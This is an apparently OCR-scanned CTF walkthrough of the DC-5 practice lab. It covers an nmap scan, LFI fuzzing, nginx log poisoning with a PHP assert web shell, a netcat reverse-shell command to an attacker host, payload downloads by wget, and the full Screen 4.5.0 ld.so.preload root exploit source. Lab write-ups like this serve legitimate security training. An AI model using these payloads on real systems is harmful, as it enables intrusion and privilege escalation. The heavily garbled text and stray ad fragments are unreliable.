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DESCRIPTION
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate
or better experience. Time will tell (as will feedback).

As far as |am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be
quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh
of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.

And just for the record, there is no phpmailer exploit involved. [
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAUY for assistance to get you going
again. But take note: Iwon’'t give you the answer, instead, I'll give you an idea about how to move forward.
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ap 172.16.89.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-@5 ©9:32 CST
Nmap scan report for 172.16.89.1
Host is up (@.00035s latency).
MAC Address: 3A:F9:D3:24:32:64 (Unknown)
Nmap scan report for 172.16.89.6
Host is up (@.0011s latency).
MAC Address: @0:0C:29:DC:BD:E9 (VMware)
Nmap scan report for 172.16.89.2
Host 1s up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.@86 EECG"Q%DN@ﬁH

RIEENLIP: 172.16.89.6, k&

nmap -T5 -A -v -p- 172.16.89.6

GR:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-05 ©9:35 CST
NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 09:35

Completed NSE at 09:35, 0.00s elapsed

Initiating NSE at 09:35

Completed NSE at 09:35, 0.00s elapsed

Initiating NSE at 09:35

Completed NSE at 09:35, 0.00s elapsed

Initiating ARP Ping Scan at ©9:35

Scanning 172.16.89.6 [1 port]

Completed ARP Ping Scan at 09:35, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at ©9:35
Completed Parallel DNS resolution of 1 host. at ©9:35, 0.00s elapsed
Initiating SYN Stealth Scan at 09:35

Scanning 172.16.89.6 [65535 ports]

Discovered open port 111/tcp on 172.16.89.6

Discovered open port 80/tcp on 172.16.89.6

Discovered open port 36004/tcp on 172.16.89.6

Completed SYN Stealth Scan at ©9:35, 5.64s elapsed (65535 total ports)
Initiating Service scan at 09:35

Scanning 3 services on 172.16.89.6

Completed Service scan at 09:35, 11.03s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 172.16.89.6
NSE: Script scanning 172.16.89.6.

Initiating NSE at ©09:35

Completed NSE at 09:35, 0.10s elapsed

Initiating NSE at ©09:35

Completed NSE at 09:35, 0.02s elapsed

Initiating NSE at ©09:35

Completed NSE at ©9:35, 0.00s elapsed

Nmap scan report for 172.16.89.6

Host is up (0.0014s latency).

Not shown: 65532 closed ports




STATE SERVICE VERSION
open http nginx 1.6.2
| http-methods:
| Supported Methods: GET HEAD POST
| http-server-header: nginx/1.6.2
| http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp  rpcbind
| 100000 2,3,4 111/udp  rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 36004/tcp  status
| 100024 41353/udp6 status
| 100024 43829/tcp6 status
| 100024 1 57305/udp  status
36004/tcp open status 1 (RPC #100024)
MAC Address: ©00:0C:29:DC:BD:E9 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.9
Uptime guess: 0.080 days (since Tue Oct 5 ©7:41:18 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT ADDRESS
1 1.41 ms 172.16.89.6

NSE: Script Post-scanning.
Initiating NSE at 09:35
Completed NSE at 09:35, 0.00s elapsed
Initiating NSE at 09:35
Completed NSE at 09:35, 0.00s elapsed
Initiating NSE at ©09:35
Completed NSE at 09:35, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 18.78 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
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Generate sales leads A

Find new prospects by the technologies they use. Reach out
to customers of Shopify, Magento, Salesforce and others.

Create a lead list >
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https://github.com/ffffffffOx/AboutSecurity/blob/master/Dic/Web/api%26params/GET_params_Top99.txt
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https://github.com/ffffffffOx/AboutSecurity/blob/master/Payload/LFI/LFI_Linux.txt
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# Intruder attack 1

Attack Save Columns

Target | Positions F’ayloads[

J Results T Target I Positions I Payloads I Options ]

® Payload Sets

You can define one or more
and each payload type can

Payload set: |2
Payload type: | Simple list

® Payload Options [Simpl

This payload type lets you cf

| Filter: Showing all items (

Paste /apache/php/
[bin/ghp.ini
Load . letcfapache/

i

I

Request | Payload1 | Payload2 | Status | Eror | Timeout | Length ¥ | Comment
326 |file | letc/apache2/apache2.conf 200 ] Ll 8108

920 file letcigroup 200 O ] 1716

1613 file letclissue 200 O ] 1018

0 200 O 0 1009

1 id {apache/php/php.ini 200 O ] 1009

2 action fapache/php/php.ini 200 O ] 1009

3 type {apache/php/php.ini 200 O ] 1009

4 m fapache/php/php.ini 200 O ] 1009

5 a fapache/php/php.ini 200 O ] 1009

__‘LK- - PSSR N JSU MUY JU NS P4 LaTutul — — Afnn )_‘_.

o

/etcfapache2]
Remave

i

Jetcfapache2

J RawT Headers I Hex T HTML I Render ]

letcfapache2)
Jetc/chrootls

Clear

i

HTTP/Ll.l Z00 OK
Server: nginx/l.6.2

Date: Sat, 08 Feb Z0Z0 00:359:12 GMT

Add Enter a new i

Content—-Type: text/html; charset=UTF-8
Connection: close

| R B SR

Content-Length: 7950
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<!doctype html>

— <html lang="en">»
<head>

@ Payload Processing

You can define rules to perfg
</head>

[ Add J Enabled | R <body>

Remaove @ EJ EJ EJ Type a search term

<meta charset="utf-o">
<titlerContact</titles
<link rel="stylesheet"” href="css/styles.css">

<div class="body-wrapper'>

Edit <div class="header-wrapper'">
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Request | Response ]

Request | Payload Status | Eror | Timeout | Length ¥| Comment
1356 LA varfloginginx/error_log 200 ] ] 26716532
1358 A varflog/nginx/error_log 200 | [ 26716532
860 fvarflog/nginx/error_log 200 ] [] 26425985
1354 41 I Mvarfloginginx/access log 200 | [] 9632445
1352 A varlloginginx/access log 200 ] ] 9632160
856 | Ivarfloginginx/access log 200 ] [] 9503380
837 fvarflog/lastlog 200 O [] 293287
475 {proc/netitcp 200 | [ 242045
477 {proc/sched_debug 200 ] (] 27140
529 {etc/php5/fpm/poal dfwww conf 200 | [ 19582

jRaw I Headers T Hex T HTML I Render ]

HTTE/1l.1 Z00 OE

Server: nginx/l.&.2

Date: Sat, 08 Feb Z0Z0 01:00:37 GHT
Content-Type: text/html; charset=UTF-8
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[ JOX ) @ XmER X Contact X | Welcome X 3 E X+

« > C O 8 172.16.89.6/thankyou.php?file=/varflog/nginx/access.log&hacker=nc 172.16.89.2 4444 -e [bin/bash e 0 o @

Dxmersts @ wFts Dspmt © sxEs Demias Losz

DC-5 is alive!

Solutions About Us Contact

Thank You

Thank you for taking the time to contact us.

172.16.89.1 - - [04/Oct/2021:08:05:01 +1000] "POST /thankyou.php?fil ar/log/nginx/access.log HTTP/1.1" 200 402 "-* "Moxzilla/5.0 (Windows NT 6.1; Win64; x64;
rv:23.0) Gecko/20131011 Firefox/23.0" 172.16.89.1 - - [04/Oct/2021 08:05:02 +1000] "POST /thankyou.. php7f|Ie_/varllog/nglnx/access log HTTP/1.1" 200 402 "-*
*Mozilla/5.0 (compatlble MSIE 10.0; Windows NT 6.1; Trident/5.0)" 172.16.89.1 - - [04/Oct/2021:08:05:03 + 000] POST /thankyou php?file: /var/log/ngmx/access log
HTTP/1.1* 200 402 *-* *Moxzilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)" 1 9.1 - - [04/Oct/2021:08:05:07 +1000] "GET
i /var/log/nglnx/access log HTTP/1.1" 200 638" M02|Ila/5 0 (Macintosh; Intel Mac 0OS X 10.15, 92 Gecko/20100101 Firefox/92.0" 172 16.89.1 - -
g 172.16.89.1 - - [04/Oct/2021:08:05:39 +1OOD "POST
ar/log/nginx/access.log HTTP/1.1 illa/5.! ible; ; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)" 17:
05:50 +1000] "GET /thankyou php'7f|Ie—/varllog/nglnx/access log HTTP/1.1" 200 707 *""Mozilla/5.0 (Macintosh; Intel Mac OS X
Gecko/20100101 Firefox/92.0" 172.16.89.1 - - [04/Oct/. 8:06:10 +1000] "GET /thankyou. php”flIe-/var/log/nglnx/access log HTTP/1.1" 200 725
[04/0Oct/2021:08:06:12 +1000] "GET /thankyou. php’flle var/log/nginx/access.log HTTP/1.1" 200 725 *- i B
Gecko/20100101 Fi fox/92 0" 172.16.89.1 - - [04/Oct/2021:08:07:02 +1000] "GET /thankyou. php"flle—/va log/nginx/access.log HTTP/1.1* 200 748

. . . ; 2.0)
Gecko/20100101 Firefox/92.0 * 172.16.89.1 - - [04/Oct/2021 08:08:15 +1000] "GET /thankyou.php?file=/var/log/nginx/access.log HTTP/1.1" 200 779 *-* 'MDZ|IIa/5 (0]
(Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0" 172.16.89.1 - - [04/0Oct/2021:08:08:39 +1000] "GET /thankyou.php?file=/var/log/nginx
/access.log HTTP/1.1" 200 789 "-* “Mozilla/S.O (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0" 172.16.89.1 - - [04/Oct/2021:08:08:49 +1000]
"GET /thankyou.php?file=/var/log/nginx/access.log HTTP/1.1" 200 800 "-* *Moxzilla/5.0 (Macintosh; Intel Mac OS X 10.1 2.0) Gecko/20100101 Firefox/92.0"
172.16.89.1 - - [04/Oct/2021:08:09:30 +1000] "GET / HTTP/1.1" 200 171 ozilla/5.0 (Macintosh; Intel Mac OS X 10, 1v:92.0) Gecko/20100101 Firefox/92.0"
172.16.89.1 - - [04/Oct/2021: 9:44 +1000] "GET / HTTP/1.1" 200 1718 *-" *
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<?php
$a = "assert";

$a($_POST[ 'hacker']);
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python -c 'import pty; pty.spawn("/bin/bash")’

export TERM=xterm

FFshell

A suid BT

gn
on-launch-helper
et-device

& searchsploit B E] T —NFT LURALK), WA IELF & Screen4.5.0

i) https://www.exploit-db.com/exploits/41154 T #; POC
kali k%1%
ML BB, JRiEMT

cd /tmp
nc 192.168.141.134 6666 > 41154.sh

sh 41154.sh
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tee libhax.c <<-'EOF'
ttinclude <stdio.h>

ttinclude <sys/types.h>

#include <unistd.h>

_attribute  ((__constructor_))

void dropshell(void){
chown("/tmp/rootshell"”, 0, 0);
chmod("/tmp/rootshell", ©4755);
unlink("/etc/1ld.so.preload");
printf("[+] done!\n");

}

EOF

tee rootshell.c <<-'EOF'
#include <stdio.h>
int main(void){
setuid(9);
setgid(0);
seteuid(9);
setegid(0);
execvp("/bin/sh", NULL, NULL);

-fPIC -shared -1dl -o ./libhax.so ./libhax.c
-0 ./rootshell ./rootshell.c

4% B 4F 1 libhax.so 1 rootshell M kali 1545 $E#L

python -m SimpleHTTPServer 8080
cd /tmp
wget 192.168.141.134:8080/1ibhax.so;wget 192.168.141.134:8080/rootshell

21T poc

cd /etc
umask 000

screen -D -m -L 1ld.so.preload echo -ne "\x@a/tmp/libhax.so"

screen -1s




HTTP reguest sent, awalting res 200 OK

Length: 16144 (16K) [application/octet-stream]

Saving to: 'libhax.so’

libhax.s 5 =] 15.77K --.-KB/s 1n Os

ved [16144/16144]

rootshell’
8.141.1:
connected.

HTTP requ ent, awalting r
Length: 1 (16K) [application
Saving to: ‘rootshell’

rootshell 101 > 16.44K --.-KB/s in Os
2020-02-09 00:51:26 (184 MB/s

www-datagdc-5:/tm ps c d Jetc

umask 208
reen -D -m -L ld.so.preload echo -ne
reen -1s

Jtmp/rootshell

whoamicd /etc

www-data@dc-5:/etcs umask 000

<-D -m -L ld.so.prelead echo -ne "\xBa/tmp/libha

www-data@dc-5:/etcs screen -1s

* from /etc/1d.so.preload cannot be preloaded (cannot open shared object file): ignored.

[+] done!

No Sockets found in / s/S-www-data.

www-data@dc-5:/etcs /tmp/rootshell
&

whoami

root

. |

Once again, a big thanks to all those who do these little challenges
and especilally all th who give me feedback - again, 1t's all greatly
appreciated. )

I also want to send a big thanks to all those who find the wulnerabilities
and create the loits that make these challenges possible.

il |
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